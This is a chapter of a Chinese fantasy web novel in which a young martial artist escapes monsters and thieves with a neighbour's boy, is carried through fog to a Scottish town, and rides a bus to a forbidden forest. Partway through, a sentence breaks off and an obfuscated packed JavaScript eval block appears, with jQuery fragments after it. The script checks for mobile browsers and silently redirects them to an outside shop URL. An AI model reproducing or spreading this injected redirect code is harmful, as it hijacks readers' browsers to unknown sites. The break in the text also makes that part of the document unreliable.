四面楚歌,向泽真一时间不知道该往哪里跑了,即使跑也做不到一直跑。
她十分纳闷,一个乳臭未干的小孩究竟有什么可值得贼惦记的,难不成贝里奇一家还有一个隐藏身份是英国首富?
又惊讶于这两个江洋大盗居然能与这些黑袍怪物为伍,更骇异英国竟存在这样似人非人的东西,这可比吸血鬼和狼人要稀奇多了。
不过话说回来,瑞尔到底是遭贼惦记,还是那些鬼物惦记?
她心中的疑惑越来越多,没时间留给她细琢磨,因为巷子口的黑袍怪物都已动身,一拥而上了。
向泽真当即把手臂穿过瑞尔的膝弯,将人抱起便转身冲那对“雌雄双煞”的方向奔去,那边没有黑影。
向泽真能感受出有股强大的力量在维持着这个空间,不是她能够对抗的,鬼怪众多,她势单力薄,若展开手脚交战,难免分身乏术,照顾不到瑞尔。
只能走一步看一步了。
金田琴鸟和爱德华·杜兰没有要追的意思。
那一道道瘦长的鬼影在月色下越奔越远,金田琴鸟眯了眯眼:“圣徒能解决一切麻烦。”
杜兰活动着手腕:“我早说过绑架这种活不适合让贼干。”
金田琴鸟从鼻子里冷哼一声:“我们没能得手,全是因为那个女人坏事。”
“有一部分运气的原因。”爱德华·杜兰说,“第一次当绑架犯就碰见个难缠的对手,怎么不算倒霉。”
金田琴鸟烦躁地踢了旁边的路灯一脚:“该死的小孩,该死的邻居!”
爱德华看她咬牙切齿的模样,十分促狭地说道:“该死的邻居得到了你的夸奖,你什么时候变大方了,琴鸟。”
看那弯弯的月牙眼,金田琴鸟呵笑一声,没把这当回事,满腹都是对没有完成任务的耿耿于怀。
繁华都市,街上人车斗量,凉爽的夜风吹散了些许工作的疲惫。
不少奇怪的打量投向了那一对引人注目的黑衣男女,不过就在一个眨眼的功夫,两人隐入黑暗消失不见。
向泽真八岁习武至今,体能方面不弱,瑞尔身高差不多到她的嘴巴,清瘦的身形一看就知道重不到哪里去,抱着瑞尔可比抱一个成年人轻松太多了。
向泽真往上望了一眼,两边房顶上黑影穷追不舍。很快,她看见不远处弥漫着一大片灰雾,雾气绵延无边,犹如一道分界线,除了穿过去和调头,别无他路。
那群黑袍怪物这是有意逼他俩闯进大雾里。
既然无路可退,那她倒要看看这些鬼怪要抓瑞尔做什么,于是顺了他们的意,跑了进去。
向泽真回头察看,那些黑影并未跟上来,她继续向前奔跑,等视线里再次出现新鲜景物时,已然身处陌生的地方。
清凉的空气涌入鼻腔,一闻便知方才下了一场雨,行人寥寥无几,店铺也已经关门,唯独对面的酒馆还没有打烊,门口还坐着两个喝酒聊天的中年男人。
他们似乎没有注意到凭空冒出来的两个人。
空旷的广场上几只鸽子悠然漫步,环境不再压抑窒息,变得鲜活了起来,可惜不是熟悉的伦敦城。
“Gossewind?我们怎么会在戈塞温德?”瑟缩在向泽真怀里的瑞尔惊呼一声。
“戈塞温德,”向泽真跟着重复了一遍,问他,“你来过?”
瑞尔点了个头,正要回答,听见向泽真说:“好吧,在你解答之前,我需要先将你放下来。”
“对……”瑞尔触电般的松开手,几乎是从她怀抱里蹦下来的,不忘整理一下衣服掩饰自己的难为情,然后说,“我们在搬回伦敦之前就住在戈塞温德,它是苏格兰高地一座风景不错的小镇,我和你后面就是小镇的白鸽广场。”
瑞尔不像刚才那样几近崩溃,但依旧不愿意面对现实,捂住了脸。
向泽真惊奇:“我们这是从伦敦穿越到了苏格兰?”
瑞尔闷声闷气:“而且是苏格兰最北部。”
恐惧使人安分,他的坏脾气在今夜算是哑火了,向泽真看他:“你一害怕就喜欢把自己埋起来吗?”
听出向泽真话里的打趣,瑞尔难得没有恼羞成怒,他在担心他们能不能见到明天的太阳,所以连发脾气的心情都没有了,偏偏又要嘴硬,他把手放下,无力地扯动一下嘴角:“我又不是土豆,为什么要把自己埋起来?”
向泽真知道今夜的经历对于一个从来过着安稳生活的小孩来说,是残忍恐怖的,她能看出瑞尔在努力抑制着情绪,毕竟放在之前,瑞尔总会立马跳脚。
变化太大了,过去一个月里明明一直趾高气昂的。
向泽真叫他:“瑞尔。”
他默不作声,向泽真斩钉截铁地说:“你放心,我绝对会带你回到剑兰街。”
瑞尔抿着唇,心里有种说不出的别扭,避开她的目光,心情却奇异地平复了下来:“好像除了相信你,我也没有其他的选择了吧?”
向泽真一愣,随即笑着说:“不管其他的,反正你选择相信我了。”
“滴——”
一道刺耳的喇叭声划过宁静的夜空,向泽真循着声音望去,只见一辆公交车缓缓行驶而来,停靠在他们的面前。
旁边就是公交站点。
瑞尔正在看站牌的站点信息,看到“MoonlessForest”时,他顺便提了一嘴:“从今年的复活节开始,神殿禁止任何人进入无月林了。”
向泽真走到公交车前说:“那么这辆公交车是为我们而来了,目的地就是无月林。”
瑞尔认同地点点头。
向泽真笑了一下:“知道狗咬似的追着我们不礼貌,所以特地安排了一辆公交车来接我们?”
瑞尔没好气地说:“你要说谢谢吗?”
又变回了熟悉的味道,仿佛刚刚蔫头耷脑的瑞尔是错觉。
“不了。”向泽真心里有一点不好的预感,在上车之前,她对瑞尔说,“我们去拿样东西。”
对面的酒馆黑了,喝酒的客人也不见了踪影,幸好她看中的雨伞还留在原地。
向泽真说:“我怕等会下雨。”
瑞尔:“……”
驾驶座上是个中年女人,眼神空洞,一眨不眨地目视前方,根本不关心上车的乘客。
车上只有一个司机,向泽真和瑞尔随便找了个双人座,并肩坐下了。
向泽真问:“你说神殿禁止任何人进入无月林,原因是什么?”
“无月林里有一座神殿,建立在一处湖泊中央。”瑞尔说,“神殿在复活节的午夜宣布往后不再对外开放,无月林常年薄雾弥漫,奇怪的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844629|211722||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是自从复活节那天起,林子里的雾气严重阻碍到了视线,辨认不清方位,极容易迷失在森林里。尽管神殿发布了通知,还是有很多人无视,听说不论怎么走,都始终在外围打转,无法深入,别说神殿了,连镜湖都看不到,居民们都说森林里的迷雾是守护神殿的,他们相信闯进去的人之所以没有迷失在森林里,是因为神殿仁慈,厚爱这片土地的居民。”
“这么离奇,不知道到了那里有没有人为我们带路,希望神殿能厚爱我们。”向泽真话锋一转,“把这当做一次冒险,想来挺不错的吧。”
“……或许吧。”瑞尔十分勉强地认同了,补了一句,“我爸爸妈妈会担心的。”
向泽真“哎呀”一声:“你说贝里奇夫人没有等到我们回来,会报警吗?”
“会。”瑞尔说,“这还用问我吗?换做是你的父母同样会报警吧。”
向泽真无奈:“希望他们不会把我当做人贩子。”
瑞尔奇道:“你在那群怪物和盗贼的面前都是一副轻松的样子,难道还怕被别人当做人贩子吗?”
“不一样,我可不希望自己被误会成犯罪分子。”向泽有些发愁,“我回去必须要好好向你的父母道歉,我居然带着他们的儿子失踪了,只怕至此以后我们只能隔着院子说话了。”
“是我自己要出来的。”瑞尔垂下了目光,“我会帮你解释的。”
“谢谢你了。”向泽真问,“你打算把今晚发生的事情告诉他们吗?”
瑞尔摇了下头说:“不。”
向泽真点头表示明白。
瑞尔稍稍放松了一点,也有了胡思乱想的心思,回想起向泽真和那两个盗贼打斗的场景,瑞尔再杜绝迷信,也深深地动摇了,用彼此才能听见的声音确认道:“你真的是巫师?”
这是向泽真今天第一次从瑞尔的脸上瞧见激动的神色,她摆出自恋的模样说:“原本我也很想低调,可惜他们不给我低调的机会。”
“低调吗?”瑞尔的两声干笑里隐约带着一丝嫌弃,“如果你不那么频繁地提起你的经历,我就信了。”
他的表情总是那么惟妙惟肖。
“哈哈,我想起来了,你每次都说我跟那些拿十字架装救世主的白痴没两样。”向泽真微笑,“现在你觉得呢?”
瑞尔:“……”
他不想觉得。
向泽真又问:“害怕吗?”
瑞尔木着脸:“我就没怕过。”
“哦。”过了一小会,向泽真凑过去小声问,“真的?”
瑞尔瞪了她一眼:“你很烦你知道吗?”
两人有一搭没一搭的聊天间,公交车已经到了无月林边缘的站点。
“哈,被我们说对了,真是接我们到林子的。”地上摆放着一盏马灯,向泽真耸了耸肩,“看来得靠我们自己摸索了。”
瑞尔望着黑洞洞的羊肠小径,内心和脸上充满了抗拒,为了安抚自己,喃喃自语道:“你不怕鬼,你会功夫,你会魔法……”
向泽真耸了下肩:“听上去像在念咒语。”她把灯递给瑞尔,“你比我需要这个,还得劳烦你带路了。”
瑞尔犹豫了一下,接过马灯,她说的没错,自己需要光亮。
“走吧。”向泽真握住瑞尔的手腕往黑洞洞的羊肠小径走去。